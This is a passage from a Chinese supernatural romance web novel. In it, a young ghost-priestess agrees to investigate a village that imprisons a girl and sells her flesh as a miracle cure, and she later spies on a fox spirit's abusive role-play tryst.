一只温暖的手怜爱地抚摸我汗湿的容颜。 男人好听磁性的嗓音恍若天外仙籁,悠扬悦耳—— “应该解了吧。阿鸾乖,今晚不能给你太多……” “阿鸾,上次不答应给你解鸳鸯缠,是因为、本尊这几日旧疾发作得太厉害,那东西在你体内,本尊不敢太亲近你……” “与你在一起,你体内的东西,的确能让本尊尽快恢复……” “但本尊,不忍伤了你。” “这么多年了,那东西,竟还没能融入你的神魂,真是废物。” 我睡得头昏脑涨,浑身酸痛,浑浑噩噩中,听他在我耳畔说了很多话。 我努力想记下来,可末了,却仅记得一句:你的身体,能让本尊尽快恢复…… 原来,他和我在一起,是因为我的身体能为他疗伤? 我就说,我们俩在一起,是各取所需…… 我身上其实还是有值得他索取的地方。 有价值,至少证明小命无虞。 这是好事。 可为什么…… 心里却莫名空落落的呢。 且怪的是,心底空久了,竟还泛出了点点酸涩滋味…… 害得我一夜都没睡踏实。 —— 清晨,我起床时青漓已经不在卧室内了。 我揉了揉酸累的脖子,想起他昨晚在我耳边说的那句话,以及他精力旺盛的一幕幕…… 老脸顿时滚烫一片。 怪不得昨夜给我解鸳鸯缠那么卖力,原来是为了借我的身子疗养。 我曾在外婆留下的古籍中看过此类记载,上面说有的女子体质特殊,天生体内灵气充盈,阴阳相合可为修行者补充元气,厉害的还能助丈夫修成大道…… 类似于玄幻修仙小说里的炉鼎设定。 但又和炉鼎有所区别,小说里的炉鼎就是个大型充电宝,炉鼎本身是没有多大能耐的。 而古籍记载的此类女子是因为本身就足够完美强大,所以她的丈夫也能沾光。 且这种体质的女子极少见,多半还都是除了关系亲密者,旁人根本不可能发现的存在。 李大叔和外婆从前倒是说过我身上灵气重,可能我就是这类人,青漓是活了数千年的大妖这才能发现我身体能助他养伤的秘密。 加之我身上也有一半阴苗族的圣女气运,青漓和我在一起,有益无害。 呸,银杏先前还说他看我的眼神不一样,对我有意思来着…… 事实还就是他单纯馋我身子! 要不是因为我的身体对他有用,他怕是早就把我一口吞了。 难怪当初执意要让我做他老婆,尽妻子义务。 我心情沉重地捞过衣物,穿好下床。 不知为何,有点郁闷…… 算了,谁让当初是我主动招惹他的呢。 我利用他,他利用我,只有我俩之间稳住这个平衡点,我的小命才足够安全。 伸了个懒腰出门,我将昨晚被灰狐仙破坏的院子给收拾干净,拾起地上的竹竿与尖树杈,扔到厨房外墙屋角堆好。 简单啃了两个馒头做早饭,我趁着太阳还没爬上半天腰,蹲在厨房拐角那片空地上重新给被大风刮倒的两株茉莉花培土。 一株花根茎边的泥土还没踩紧实,银杏就兴奋着急地推门冲了进来。 “镜镜——”不小心一脚踩在枯树枝上,吓得她差些原地跳起来:“哎呦我去!你家昨晚遭贼了?” 我拿着小铲子心累叹道:“不是遭贼了,是遭狐狸了。” 银杏抖了抖裙摆迈着轻盈步伐小跑过来,立马明白我话中意思,赶紧担忧问道:“啊?那你没事吧!有没有被那条野狐狸伤到?” 我扬了扬手上戒指:“蛇王大人在呢,我肯定没事,受伤的是那只死狐狸。” “那就好那就好!” 银杏拍拍胸脯松了口气,随即拉着我的手扶我站起来: “你猜今天我把谁给你带来了?” 第56章 王母肉芝 我一手还拎着花铲子,不解地猜测:“阿乞?” “不是!”银杏挽住我的胳膊示意我往门口方向看。 我放眼瞧过去,才发现今天来我家的不止阿乞和李大叔,还有村长及刘月亮苍老年迈的父亲…… 银杏开心与我说: “你这两天不是总挂念着月亮姐姐的事吗? 本来咱俩约好今天去找刘大伯的,但村长昨天回来的路上正好遇见了刘大伯。 刘大伯也是听见族里最近的传闻,准备来找咱们问情况的,所以村长就把刘大伯一起带来了月阴村。 昨晚情况太乱,刘大伯不好直接来找你,这不,今天我们就一起过来了!” “月亮姐姐的父亲……”我在玉女殿内封印那些记忆里见过他的样子,十八年前,他还是位脸上没多少皱纹,虽然身体不好,但气色却红润的中年人。 如今十八年过去了,他也才不到六十岁,竟已满头花白,苍老如八十岁老翁。 连走路都不利索了。 刘大伯一见我就步履蹒跚地赶过来,老泪纵横的冲我跪下。 “刘大伯……” 我慌张伸手去扶他,他顺势反握住我的手,一双老眼哭得红肿,显然在来之前就已经得知真相,流了不少哀苦泪: “鬼师娘娘,谢谢你啊,我都听大长老和老李说了,你是我家闺女的大恩人,要不是你,我闺女也不晓得还要在那座遭雷劈的长生宫囚禁多久呢!” 我急着想扶起他,可他死活就是不愿意,“刘大伯,救你女儿的人其实是大长老,我没帮上什么忙,您快起来……” 老人家含泪摇头。 李大叔双手背在身后赶过来:“你怎么会没帮上什么忙,要不是你和杏子给阿乞搭了把手,阿乞自己肯定不能顺利超度那些亡魂。” “就是!” 阿乞赞同地揉了把鼻子: “你和银杏姐还有蛇王大人都是大功臣,能帮姐姐她们脱离苦海,我们大家都功不可没!” 银杏不客气地举手接受夸夸: “对的,我们三、嗯,四!都是大功臣!”缓了缓,又说:“不过,的确多亏了镜镜当时执意要一查到底,长生宫那地方,我乍一进去被吓了好几回。” 老人家泪眼婆娑地跪在我跟前道: “大长老和杏子姑娘我昨天已经谢过了,今天,我是专门来谢鬼师娘娘的,多谢鬼师娘娘记挂着我家孩子,揭露了长生泉的丑陋真相,还我家孩子自由与公道!” 刘大伯有多疼爱他那个闺女我一清二楚,要不是宋淑贞狠心害了月亮姐性命,刘大伯现在说不准都快要抱上小重孙了。 我瞧着老人家凄凉落泪的模样,心里也很不是滋味。 从宽大的袖袍里掏出月亮姐托付给我的那把银制雕花平安锁,我双手递上去,物归原主。 哽了哽,将月亮姐的原话转告给老人家: “月亮姐说……别想她了,要好好活下去。她不孝,下辈子再报答您老人家的养育之恩。” 说完,我握住老人家那双颤抖厉害的粗糙大手,心口五味杂陈: “刘伯伯,月亮姐临走前,最放心不下的就是您老……她怕她不在你身边,你又放不下她忘不掉她,会因她而思念成疾。 她希望就算她不在,您老人家也能多保重自己的身体。 刘伯伯,月亮姐和大长老,还有她的十六个姐妹们都已经脱离长生宫的囚禁折磨,被阿乞超度了,下去以后,她们不会再感受到任何痛苦了。 那些女孩都是心善纯良的姑娘,她们下辈子一定能投个好胎,远离灾厄。 您不要太难过,千万别积郁成疾伤了身体,这样月亮姐知道,在下面也会神魂不安的。” 老人家拿着那把平安锁,泪水斑驳地溅落在银锁并蒂莲花的图案上,痛心疾首地颤颤呜咽道: “那晚,我隐约在睡梦中看见了我的月儿,她就站在我的床头,想和我说话,张开嘴却没有声音…… 我连忙从床上爬起来,想去抱抱我的月儿,可转眼,月儿就出现在了窗台前的月光里。 我的月儿在流泪,我不停问月儿怎么了,她也不回答,就远远地看着我笑,然后冲我张嘴,她的口型我瞧出来了,她在说,爹,再见。 那晚直觉告诉我,月儿是真要走了…… 后来,月儿哭着朝我挥手,我不知道为何,却突然心底一阵轻松,像是,紧揪着的心,终于被放开了! 昨天我才从老李口中得知,那晚,月儿真的走了。 我要是早知道月儿的魂魄被囚在长生宫,我就算拼了这条老命也会把我闺女救出来! 这个杀千刀的大祭司,他们求长生,凭什么要把我女儿的性命搭进去! 而我竟也在不知情的情况下,喝了我亲闺女尸油稀释的长生泉水,是我对不起我闺女啊!” 老人家哭得浑身抽搐,我想安慰却无从开口。 还是李大叔拍拍老人家肩膀轻叹道: “不知者无罪,况且你女儿就是害怕你担心她,才宁愿被困在长生宫,也不托梦向你求救。” 村长愧疚摇头:“这事也怪我,我竟没发现大祭司一直在用尸油供养长生泉……不过老刘,你不是也喝过长生泉水了么?为什么这些年还是身体越来越差?” 老人家捶着胸口痛哭:“我想我的孩子啊!我这辈子,就这么一个闺女。闺女走后,我也不太想活了,长生泉水,我只喝了两年。” 李大叔单手将老人家搀起来:“他这是思女成疾。不过,现在你女儿已经解脱了,你也该想开些,别让你闺女在九泉之下还担着你的心。” 老人家哀伤的阖目,抹去脸上泪迹,深呼一口气,握着平安锁点点头:“好,我听月儿的话……听我女儿的话。” 到底还是李大叔与村长有办法,不多时就把刘大伯安慰得擦干眼泪,眼底重新燃起了活下去的欲望。 送走刘大伯后,赵叔愧疚地低头向我道歉: “对不起孩子……我家那个浑蛋儿子干的好事,我都知道了。这个畜生!我万没想到他竟敢跟着圣女厮混……” “没事的赵叔,你是你,赵二是赵二,你没必要为他犯下的错买单。”我理智地安抚赵村长。 阿乞唉声叹气的感慨:“大前天晚上,赵二在你家门口欺负你,赵叔都看见了,要不是你那一针扎得快,赵叔就拿锄头打过去了!” 银杏忿忿不平的作证: “是啊,那晚我和村长听说了娘娘庙发生的事后,就赶紧过来找镜镜了。 谁知才走到前头的路口,就看见赵二那个王八羔子抱着你不放,村长差点当场就被气晕了。 村长扛着锄头本来要去揍赵二的,结果赵二被镜镜拿刀吓跑了。 村长看出镜镜状态不对,就没好和我一起来找镜镜,然后那晚,我陪着镜镜,村长回去就把赵二揍了一顿。 要不是村长媳妇护着赵二,赵二的双腿估摸已经残废了。” “都怪赵叔,平时太放纵这个孽障了!” 老村长歉意道: “之前,他在娘娘庙做伪证的时候,我就已经开始怀疑他了。 只是那会子我还不确认在娘娘庙乱搞的人到底是不是圣女…… 直到这个孽障和圣女光天化日下在祖祠门前乱搞,我才终于证实了心中猜测! 自从老大离家出走,老二就成了我老伴儿的心头肉。 从前,这孽障胆小窝囊,自私自利,我本以为他只是利己没出息了些,不至于惹出什么大乱子,没想到他本性如此猖獗可恶! 你要是真因为他有个好歹,几十年后我怎么有脸下去见老祭司啊!” 我平静体谅道:“我都知道,村长你不用自责。我以前也没瞧出他内心这么阴暗……那天晚上我扎了他一针,只会让他近几年沦为废人,不会断了赵家香火的。” 赵二是可恨,但赵村长一直都待我不错,我被宋淑贞抓走,也是赵村长在忙前忙后安置我外婆的葬礼,他对我有恩。 赵大哥现在下落不明,赵二是赵家唯一的子嗣,我要是真把他扎得永久残废了,怎么能对得起公正耿直的老村长…… “说起这个!”银杏突然开心握住我的手,激动道:“告诉你一个好消息!赵大哥找到了!” “赵大哥?”我一愣,亦是意外惊呼:“找到了?那他现在在哪?” 阿乞说:“前几天村长离村去孟春寨,就是偷偷去找赵大哥的。赵大哥现在就在孟春寨,而且他已经成家了,他和大嫂的孩子再过两个月,就要出生了……” “赵大哥成家了?还有了孩子!”我心下一喜,脑海中不由浮现起幼时在村长家见到的那位穿着黑风衣,短发利落,眉眼温和的俊朗青年身影。 赵大哥,名字叫赵弗参,赵二的名字是赵弗商,兄弟俩的名字都是族内最有学识的秦老给起的。 由于阴苗族与阳苗族的传统习俗不同,所以阴苗族人的名字也比阳苗族人要更唯美、有深意些。 阴苗族习惯从古诗词中的择字起名,阳苗族则只会用好看花草取简易的人名。 赵大哥一出生,秦老就说赵大哥的八字中多文昌,日后是当状元的材料。 而赵大哥也不负众望,十七岁就考上了外面省城的重点大学,成了咱们阴苗族学历最高的知识分子…… 可惜,赵大哥只出去上了一年大学,就被赵村长的媳妇给连哄带骗软硬兼施地逼退学了。 理由是,赵二不是上学的料,考不上大学,族里人总拿赵二和赵大哥比,她不忍让小儿子受委屈,就索性不让赵大哥继续上大学了。 当然,还有一点,是她怕赵大哥见到了外面的广阔天地,就不肯再回阴苗族了。 赵村长媳妇对两个儿子都有极强的掌控欲,但她却把所有的偏爱都给了小儿子赵二。 她怕赵大哥大学毕业留在外面工作一辈子不回来,这样就没人给她养老了。 她将为自己养老送终的重任压在赵大哥一个人肩上,甚至还逼着赵大哥把赚到的钱全都拿出来存在赵二名下,好给赵二娶媳妇。 赵大哥被迫退学归家后,又被她道德绑架在家里三年,为她和赵二当牛做马。 直到第四年,赵二染了场大病,巫医说只有换血才能救赵二的命…… 赵大哥便用一身血换了自由身。 赵大哥离家出走的时候,身上一毛钱都没有,衣裳也只带了两身。 那几年,我亲眼看到一个原本意气风发、温润正直的和煦青年被全家折磨的眼中再无一丝光亮…… 也许,逃离原生家庭才是他唯一的活路。 现在能再次得到关于赵大哥的消息,我既惊讶又开心,还好,外面的那个家,他和妻儿一家三口应该过得很幸福。 但不知为何,提到赵大哥,李叔和赵叔的脸上却一片阴霾,神色极为凝重。 连阿乞的面容上也看不出一丝欢喜。 我不禁皱眉:“怎么了?有赵大哥的好消息,大家不应该开心吗?为什么是这个反应?” 李叔双手背后重重一叹,抬头望着我,沉重问道:“你听说过,王母肉芝吗?” 第57章 肉芝要成精了 乍一听这四个字,我一头雾水。 摇了摇脑袋:“这是什么?” 阿乞摇头晃脑地科普: “传闻上古时期,西王母掌管不死药,这王母肉芝就是炼不死药的关键药材之一。 单吃的话,能缺什么补什么。 王母肉芝,是一种彩色肉质灵芝,本身自带灵性,需要用特定的法器才能采摘到它。 如果徒手采摘,它会跑,跑急眼了,就会钻进女人的肚子里投胎成王母灵女。 据说王母灵女长大后美艳无双,眼角会生出灵芝花纹,谁要是认出她,吃了她的肉,就能以形补形。 缺心脏补心脏,缺肾脏补肾脏,缺胳膊少腿,就补胳膊和腿。” “什么!”我听得背上鸡皮疙瘩都炸起来了,浑身不自在地好奇问:“这和、赵大哥有什么关联吗?” 李大叔紧锁眉宇: “前几天,是你赵大哥主动传消息给你赵叔,你赵叔这才悄悄赶往孟春寨。 他去了才发现,孟春寨已经被他们的村长给封锁了,连你赵叔过去都被那边的孙村长给拒之门外。 你赵大哥费了老大的劲,才和赵村长顺利碰头,他求赵村长……救救他媳妇。 他怀疑他媳妇肚子里怀的不是人。” “不是人是什么?”我大惊不已。 阿乞道:“是一团肉。” “啥?” 越说越恐怖! 赵村长为难道: “孩子和我说,从去年二月份开始,孟春寨的族人们就开始偷偷吃王母肉芝。 那王母肉芝不是什么灵物,而是一个十八岁的女孩!而且那女孩还是……他的妻妹! 女孩和我那个未见过面的儿媳妇是同母异父的姐妹,我儿媳妇命苦,自小就没了父亲。 母亲也在她十来岁的时候扔下她改嫁了,后来给她生了个妹妹。 前些年不知是谁传出的消息,说她妹妹就是王母肉芝转世。 打那以后,他们寨子里的人就天天盼着那小姑娘能长到十八岁。 去年二月二,孟春寨的村长下令封锁村子,把她妹妹给锁进了祖祠地牢。 然后,她的母亲与继父就光明正大地卖起了她妹妹的肉。 起先去买肉的人还很少,后来瞎子长出了新眼珠子,瘸子能活蹦乱跳,得尿毒症的人长出了新肾,去买肉的人就越来越多了。 老大好歹是生在我们阴苗族头寨头村的月阴村里,自幼就见过不少诡异事件,所以他就怀疑王母肉芝吃了可能会有副作用,便从没去买过肉芝。 但,他媳妇天生体弱,结婚多年两人一直没能怀上孩子。 他媳妇曾透露过想去买肉的念头,被他给严词拒绝了。 后来,他媳妇还是怀上了,他以为是苦尽甘来,上天恩赐,夫妻俩就对这个孩子格外珍视。 但是他媳妇怀孕后身体就越来越弱,最近甚至都呈现出油尽灯枯之象了。 他为了保住自己媳妇,就偷偷喊来村里的稳婆用迷药迷晕了他媳妇,想打下这个孩子。 谁知道连灌五碗打胎药,他媳妇的肚子都没有一丁点反应。 稳婆伸手去摸,说是摸到了一团肉,他媳妇肚子里的根本不是孩子。 老大立马就怀疑他媳妇可能背着他去买肉了,一去问,果然买了。 现在他媳妇被肚子里的那团肉折磨得精神失常,他夜里还能隔着他媳妇肚皮摸到那团肉在蠕动。 他怕他媳妇会出什么好歹,就求我一定要想办法救他妻子……” “所以,他媳妇,是吃了自己妹妹的肉才怀上孕,然后怀了个会吸她精气的怪胎?” 我被这炸裂的信息给震得三观俱碎,忍不住地怀疑道: “那个女孩的肉,真有那么神奇?该不会是和宋花枝一样,全靠骗吧?” 宋花枝之前也说自己的洗澡水能让人延年益寿来着。 “是真的。” 赵村长笃定道: “老大和我说了,他亲眼见到同村人吃了那女孩的肉,长出了一根新手指。 那女孩就被锁在他们村祖祠的地牢里,两条胳膊两条腿上的肉都快被剔完了,只剩下血淋淋的骨头。 近来他们村里人还在研究,要不要把女孩的腿骨敲碎带回去煲汤,说是喝了肉芝汤,能百毒不侵!” “什么肉芝,那可是人肉啊!”我原以为月阴村发生的这些事已经足够癫狂了,没想到月阴村外也有这么骇人听闻的可怕事件! 李大叔拧眉闷声道: “为了不让别的村子得知消息抢他们的王母灵女,他们从去年开始便封锁了村子,全村不进不出,只为了独享王母肉芝。人性啊,终究是经不起诱惑。” 赵村长忧心忡忡地请求我: “小鸾镜,赵叔现在能信的人只有你了! 你能不能看在,你小时候你赵大哥最爱陪你荡秋千的份上,帮一帮你赵大哥! 你嫂子是你赵大哥的命啊,她要是出了什么事,我怕你赵大哥也活不下去……” 我当即就明白了他的来意:“赵叔你是想让我去孟春寨?” 赵村长不好意思地咬咬牙: “你是鬼师……求别人,我不放心。 而且我去见你赵大哥,我家里还不知道,要是被她们听说这件事还不知道又要怎么闹呢。 老大好不容易才过上安稳日子,我不想破坏他现在的宁静生活。” 李叔双手背后坦诚道: “你是新任鬼师,保阴苗族太平也是你的职责,不过我们并不是要道德绑架你去处理这些事,我们与你说,去不去,全凭你自己选择,你想去就去,不想去就不去。 我和阿乞是要去孟春寨走一趟,毕竟我也想看看传说中的王母肉芝究竟是什么东西,就当涨涨见识。 你要是想去的话,我们就省事些,不用想法子偷溜进村了,你有鬼师的身份,可以自由出入阴苗八寨十三村,他们不敢拦你。” 我清楚李叔说的不会道德绑架我去处理任何事是真心话,现在放眼全村,也就只有这两位长辈是真心呵护我、尊重我了。 “我当然想去啊!”我一口应下:“我也想涨涨见识。” 我这辈子还没有见过什么肉芝呢…… 何况我的阴阳鬼术不就是用来解决这些麻烦的吗。 “那太好了!”阿乞兴奋地与银杏击掌:“咱们几个又可以一起去冒险了!有镜镜姐在,看谁敢拦着我们不让进村!” 我无奈拍了下阿乞的脑瓜子:“你可是大长老,你过去亮明身份他们更不敢拦。” 阿乞挠挠头委屈嘟囔: “话是这么说的没错,但大长老大祭司,和鬼师不一样,前者是族内掌权者,有些时候族人们未必肯和他们说实话。 但是鬼师就不一样了,鬼师是去驱邪除厄的,他们不想死,就绝不敢推辞阻拦你。” “哦……” 的确是这个道理! 赵叔听我应下,猛松了口气:“我就知道,小鸾镜心软善良,一定会帮赵叔这个忙的!我这就想办法把消息传给老大。” “不用了。” 李大叔抽出腰后别着的烟杆,镇定道: “我们明天就启程,孟春寨那边局势复杂,你找人送消息未必比我们快,等进了孟春寨我们直接去你大儿子家里住!我们不在这几天,外面就靠你来掩护了。” 赵叔靠谱地点点头:“成!到时就说你带着阿乞还有杏子进山了,鸾镜在家闭关修炼。” 李大叔抽了口白烟嗯了声: “这说法骗骗村里人还行,骗淑贞和宋花枝倒是有难度。不过无妨,能骗多久是多久,我们尽快办完事回来。” “好。” 村长大叔同我们刚说完话,外面就有村里青年急着喊他出去说事。 没多久,村长大叔就跟着青年往村北头去了。 月阴村是阴苗族八寨十三村的头寨头村,也是人口最多,地域范围最广的一个村子。 村长自从二十多年前被村民们集体选举上任后,每天都忙得脚不沾地,时常要一天内从村东跑到村西好几趟。 而月阴村的村东头到村西面,一趟至少要两个小时。 他老人家这么忙碌,还能抽出几天时间特意去孟春寨看大儿子,可见他老人家这些年还是思念大儿子的…… “王母肉芝,人肉……” 我总归是见识少,总感觉王母肉芝这东西有点玄乎,不像真实存在。 “王母肉芝是真的。” 李大叔猛抽一口浓烟,吞云吐雾: “早年,我在我师兄的手记上见过这东西。 上面形容它状似活肉,类太岁,然肉芝粉嫩,日光下可见五色光辉。 切开伤口会溢血,切口有淡金色血管。 食之,可补躯体不全。 但与阴苗族传说不一样的是,我师兄手记上的王母肉芝与王母不死药没关系,只是天地间一灵物。 由于古人最初是在昆仑仙山见到它的,所以才称之为王母肉芝。 且,王母肉芝并不能多食,王母肉芝转世成王母灵女,也就意味着肉芝要成精了。” “成精?”银杏好奇反问,“成精会影响到别人吗?” 第58章 若不是你的脸,本王早就弄死你了 李大叔静了静,道: “嗯,山精。肯定会对身边人有影响,但这种灵物实在是太古老了,现存记载并不多,是善是恶,还是得我们亲自去看看才能确认。” 阿乞搓搓手一脸仰慕道: “哇李叔,你知道的好多,见识渊博都快赶上我师父了!李叔你之前用的法术我好像见我师父用过,但我师父却没你用得这么轻松自如…… 你的道法,比我师父高多了。我师父如今仙逝了,要不然我再拜你为师吧!蛇王大人让我跟着你八成也是这个意思!” 李大叔斜睨了眼满面期待的阿乞,无情拒绝:“他不是这个意思。我不能收你为徒。” 阿乞眼里的光顿时黯了下去:“啊?为什么啊!李叔你嫌我笨?我虽然脑子不大聪明但是我勤快啊,师父也说了,修炼之道勤能补拙。” 银杏不解地帮阿乞说话: “是啊爸,阿乞天分很高的,也不是特别不聪明,他多勤快啊,昨天还把家里的柴火都给劈了,你都答应收留他了为什么不能再破一次例收他做关门弟子,你这一身高超的道术没人传承岂不可惜了!” 李大叔幽幽叹口气,抬手重重拍了两下阿乞的肩膀,道: “笨!你都瞧出我和你师父的道法所承一脉了,还猜不出我是谁么? 我不收你做弟子,是因为我本来就是你师叔祖。 你师父的师父,是我二师兄,我是你师父的四师叔。” “啥?你是我师叔祖?!” 阿乞瘦躯一震,错愕道: “我以为你是我师父的同门师兄弟来着!我师父都三百多岁了,你才几十岁,你怎么会是我师父的师叔!” 李大叔被烟呛到,尴尬收手背在腰后,黑着脸道: “我辈分高不行么?况且你师父是我道门的外门弟子,我是内门弟子! 谁让你师父拜了个中间的当师父,他要是运气好撞上我师父了,就和我是同辈了,说不准还是我师兄。 可惜,他没那个命!” 阿乞抽了抽嘴角干笑笑: “呵呵,怪不得蛇王大人要我来找你,怪不得你明明比师父年轻,师父却很敬重您……所以师叔祖,你和师祖都是道家哪个门派门下的弟子啊?” 李大叔顿住,沉默良久,眼底一片凄凉,转身吐着浓烟,敷衍道:“这些都不重要了,在外面,我已经死了。” 阿乞好奇的与银杏相视一眼,银杏则见怪不怪的摇摇头,“哎——” 我想了想,趁机问李大叔:“昨晚灰狐狸又来闹事了,他手里有颗漂亮的灵珠,李大叔你知道那颗珠子是什么来历吗?” 李大叔抿了两口浓烟, “我也见过那珠子,之前我和他交过手,还见他拿那珠子欺负过山里野仙,那珠子我虽不知是什么来历,但我能确定,它是仙家至宝。 也不晓得是那条狐狸从哪位仙人手底偷来的。 珠子认了狐仙为主,每次狐仙打不过别的野仙,都会把珠子掏出来,珠子灵气重,连我也十分忌惮,怎么,昨晚他用那灵珠对付蛇王大人了?” 我颔首:“那珠子太厉害了,把青漓都给伤了,差点就打穿了青漓的身体。” 李大叔蹙眉担忧道:“两百年前,灰狐仙在九黎山落脚,就是靠着那枚灵珠打得满山野仙精怪奉它为王。” “看来,那颗珠子是个麻烦。”我说。 李大叔沉默片刻,道:“蛇王大人昨夜许是没有防备才被那珠子伤到,以蛇王大人的修为,应该不惧那珠子。” 我沉沉道:“青漓这几天旧疾复发了,一直在闭关修养,连法力也被压制了,死狐狸就是趁此机会才用珠子伤了青漓。” 李大叔听罢嗯了声:“蛇王的旧伤,是很严重。” 我赶紧问:“李大叔,你有没有能让青漓迅速好起来的灵药?他总是吐血,好像很疼。” 李大叔瞧了我一眼,无计可施的摇头叹息:“他的伤,我没本事治,况且,他这伤从三百年前开始,隔一段时间就会复发一次,如果有法子缓解疼痛,他也不至于拖到现在。” 连李大叔都没办法治他,也不知道我的身体能不能让他好受些…… 如果可以,那我不介意多让他、占几次便宜。 李大叔扫了我一眼,意味深长道:“你多关心关心他,或许能好得快些。” 我疑惑抬头望着李大叔,李大叔猛吸一口呛人浓烟,解释道:“心理作用,生病了有人关心,总好过一个人默默忍受。” 我:“……” 李大叔说得很有道理! 说话间,被我别进腰带里的两个小纸人突然好奇伸手冒出头。 李大叔拿烟杆点了下小纸人的脑袋,意外道:“呦,这小东西怎么在你手里。” 我顺手把两只小纸人拽了出来:“哦,青漓给我玩的。” 李大叔一愣,面色怪异:“他把这两个小东西……送给你玩?” 我淡定挠挠小纸人的扁平脑袋:“他说以后我看谁不爽让我把这俩小纸人放出去咬对方,可这两小玩意陪玩还成,咬人就算了,纸人攻击性不强,万一被对方一把火烧了多可惜。” 李大叔听罢,粗喘了口气,连续吸了半分钟的大烟,才说:“这两只纸人不是普通小纸片,它俩是地狱修罗鬼将,你要是在淑贞引巫火烧你时把它俩放出来,淑贞和那些村民,都得死。” 我手一抖,差点把两只可爱的小纸人扔飞出去! 地狱修罗鬼将?! 他那天果然全都知道了,他不是不管我。 他是因为看见我哭了,所以才把这东西给了我。 就算那天,我没有突然成为鬼师,他也不会让我化成灰烬。 他是要我,自己掌控宋淑贞他们的死活…… …… 明天要启程赶往孟春寨,李大叔给我们留了一天准备的时间。 傍晚我在家闲着没事干,就想起村南头的半山腰上好像有两树桃子已经成熟了。 准备摘点回来,给青漓尝尝。 李大叔说得很对,病人是需要关心的。 青漓应该不讨厌甜的东西。 日暮时分我背着竹篓爬上山坡,运气好摘到满满一竹篓的新鲜红桃子。 再下山,天都已经黑半截了。 我背着桃子一路迈着轻松步伐,沿大道回家。 本来是觉得现在时间还不晚,走大道绕点路应该也无妨。 经过一座土地庙,我习惯性地进庙拜拜,再拿几个新鲜桃子放贡盘里。 可我万万没想到,我与宋花枝之间的孽缘竟然那么深,这都能撞见! 最后一棵桃子放进贡盘里,我忽然闻见一缕似有似无的花香。 穿过土地庙正殿往里面荒废的院子走去,却见院右侧那排空屋子窗前盛放着熟悉的桃花…… 之前每次看见桃花,都是宋花枝在附近的讯号。 但眼下这地方是土地庙,让我不禁怀疑起这个猜测的准确度。 直到,我透过破损的窗户纸瞧进烛光盈盈的破屋子……看见宋花枝那纤瘦婀娜的背影…… 我才完全确认,自己的猜测没错。 只不过,之前不都是在娘娘庙么。 这次换地方了? 还挺会追求新鲜刺激的! 为保生命安全,我赶紧念了个隐去身上气息的法咒…… 那间空屋子里,一袭灰袍的骚狐狸也在。 彼时狐仙正坐在罗汉床上,斜倚着矮几,手里端着一只青瓷酒盏,惬意饮酒…… 宋花枝则当着狐仙的面,解下层层衣物。 缀着银饰的阴苗族衣裙叮叮当当摇晃作响。 衣物随手丢在地上,宋花枝将自己脱得只剩一层内衣时,才开始卸头上的钗簪。 纤纤玉指拔掉银簪,媚眼如丝的看向烛光深处饮酒寻乐的男人。 娇笑一声,故意将银簪丢给灰袍男人,软语同他调情:“狐王大人,我美吗……” 扭着杨柳细腰,故意挺了挺上身,饶有深意的问男人:“您、喜欢吗?” 墨发狐狸眼的男人拾起掉在自己袖袍边的银簪,阖目,贪婪享受地深吸了一口簪上气息,满足道: “对,就是这个味道……神圣、不容亵渎、高高在上的、娘娘啊……” 宋花枝松散着一头乌发,闻言赶紧讨好的光脚小跑过去,扑进男人怀里,坐在男人腿上,抱着男人的脖子亲密蹭着男人身体:“王上,今晚,不穿了好不好?我们直接进入正题,花枝侍奉你……” 说着,将朱红的唇瓣贴上男人的薄唇。 可下一秒,男人倏地掐住宋花枝脖子,将宋花枝推开。 宋花枝顿时表情痛苦地仓皇求饶: “王上、王上别……花枝错了,花枝穿、你别杀花枝,杀花枝就再也看不见花枝的脸了……” 男人眼底蕴着冰冷的厌恶之色,沉声羞辱道: “若不是你的脸……本王早就剁了你的手脚,把你带回山洞慢慢折磨了!本王说过,你是本王的奴,是本王的狗,本王要你做什么,你没有资格拒绝!” 一把将宋花枝从怀里甩扔在地上,男人狠戾怒斥:“把神袍,穿上!” 第59章 鸾鸾,都给本尊…… 宋花枝光着肩背披头散发瑟瑟发抖地连连称是,赶忙跪爬到圆桌旁,起身将桌上整齐叠放的那套华丽衣裙给乖乖穿上…… 古代的裙袍层层套在宋花枝身上,最后一件外袍穿好,我才看出……那是套极为华贵、且品阶甚高的神仙服! 浅金色的广袖仙服,肩上与腰带下,俱是缀着珍珠水晶佩饰。 裙摆上用金线绣着凤凰暗纹,袖袍上是银线勾勒的重重莲花纹。 腰带织金嵌白玉重瓣莲花,整套衣袍纹饰并不繁琐,却足够端庄贵气,有光洒在衣料上,映出点点星辰萤光。 这身仙袍穿在宋花枝身上,都把宋花枝给衬得像个不食人间烟火的真神娘娘了…… 穿好衣裙,宋花枝又熟练地挽发,捧着金灿灿的凤冠插入发髻,摸起桌上的一对金簪,簪在凤冠左右两侧。 做完这一切,宋花枝怯怯地看向狐仙,等候他的下一个命令。 灰狐仙盯着装扮好的宋花枝,转动手中青瓷酒盏,痴瞧了片刻,收回目光:“很好,虽只有她的七分神韵,但足够了……” 顿了顿,慵懒抬手示意:“继续。” 宋花枝颤着身子猛吞了一口口水,默默挺直脊背,拂袖背向狐仙,再扭头,让男人看见自己的侧脸。 深呼吸,壮着胆子柔声喊道:“狐儿……” 哪成想话音刚落灰狐仙就一酒盏狠狠砸了过去,当场将宋花枝额角砸出了一抹血痕。 灰狐仙眼神凌厉地剜她,没好气地警告:“本王说了多少遍!她不会……用这种勾人浪荡的语调同本王说话!” 宋花枝摸了把额角的血,双目猩红地咬牙忍住疼。 片刻,又用一种孤冷高傲的语气继续呼唤:“狐儿,过来!” 这此,灰狐仙陡然怔了下,走了半晌的神…… 我捂住鼻息站在窗户外,看着里面这诡异的一幕,嫌弃至极地蹙眉。 这死狐狸在搞什么呢? 角色扮演? 她……是谁? 替身文学?! 为何莫名让我感到极其不适,恶心得要命呢! 大约过了两三分钟,灰狐仙总算心满意足地朝宋花枝勾勾手,浅声引诱:“过来,本王的好娘娘。” 宋花枝一喜,忙不迭送地跑过去,扑进男人怀里。 男人顺势将她压倒在罗汉床上,迫不及待伸手探进她的交领衣襟…… 紧接着便是男女淫笑连连,暧昧咬耳私语。 “本王的娘娘,疼么?” “王上~你一点也不疼人家,人家脑袋都被你砸破了……” “无妨,本王施法,让你痊愈,绝不损你花容月貌。” “王上……轻点,弄疼人家了……” “叫本王,狐儿。” “狐儿~” “再叫!” “狐儿狐儿狐儿!” “嗯……娘娘,本王的好娘娘,真软……” “狐儿,你别这么猴急嘛!衣服还没脱……” “穿着这身衣物!本王,喜欢你这样。” “哎呀,狐儿,求您怜惜……” “疼也给本王受着,你可知本王想了你多少年!娘娘……本王好爱你,你是本王的,是本王的!” 